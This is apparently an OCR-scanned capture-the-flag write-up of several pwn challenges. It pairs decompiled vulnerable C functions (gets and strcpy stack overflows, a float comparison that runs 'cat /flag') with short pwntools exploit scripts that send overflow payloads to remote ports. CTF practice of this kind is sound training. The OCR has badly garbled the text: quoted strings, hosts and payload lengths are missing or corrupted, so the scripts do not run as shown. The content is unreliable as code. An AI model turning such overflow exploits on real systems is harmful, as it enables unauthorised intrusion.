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test_your_nc

from pwn import

from LibcSearcher import

context(log level ,0S

p remote( ,27517)
p.interactive()
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feng@ubuntu -~ op/buu$ ROPgadget --binary pwnl --only "ret
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from pwn import

from LibcSearcher import

context(log_level ,0S

p remote( ,25906)

payload 23+p64(0x401016)+p64(0x401186)
p.sendline(payload)

p.interactive()
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inte4 _ fastcall main(int al, char **a2, char **a3)

char s[64]; // [rsp+8h] [rbp-88h] BYREF
char v5[64]; // [rsp+4e6h] [rbp-48h] BYREF

write(1, "-Warm Up-\n", ©xAuLL);
write(l, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1l, s, 9uLL);

write(1, ">", 1luLl);

return gets(vs);
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from pwn import

from LibcSearcher import

context(log level ,0S

p remote(
p.recvuntil(
backdoor_addr
payload

,29643)

)
(p.recvuntil( ,drop=True),16)

0x48+p64 (backdoor_addr)

p.sendline(payload)

p.interactive()
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lﬁnt func()

2{

3| int result; // eax

4| char v1[44]; // [rsp+Bh] [rbp-38h] BYREF
5| float v2; // [rsp+2Ch] [rbp-4h]

6

7 v2 = ©.8;

8| puts("Let's guess the number.");

9| gets(vl);
18| if ( v2 == 11.28125 )
11 result = system("cat /flag");

12| else

13 result = puts("Its value should be 11.28125");
14| return result;

15|}
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FloatEE55ZE (float32)

Float32--#HlEI N 217 AN iU
11.28125 41348000

A 25 11.28125
7 2] e

0 10000010 01101001000000000000000

DoubleY¥58Z (float64)

Float6 435l 27 wavei I YN
0.0 0000000000000000
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from pwn import

from LibcSearcher import
context(log level ,0S

p remote( ,27574)

payload Ox2c+p64(0x41348000)
p.sendline(payload)

p.interactive()
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int vuln()

{
const char *v@; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-106h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

printf("Tell me something about yourself:
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6e, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(vé6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);

vl = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, vO);

return printf("So, %s\n", s);
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from pwn import

from LibcSearcher import
context(log_level ,0S

p remote( ,27331)
payload 20 4+p64(0Xx8048F0D)

p.sendline(payload)

p.interactive()
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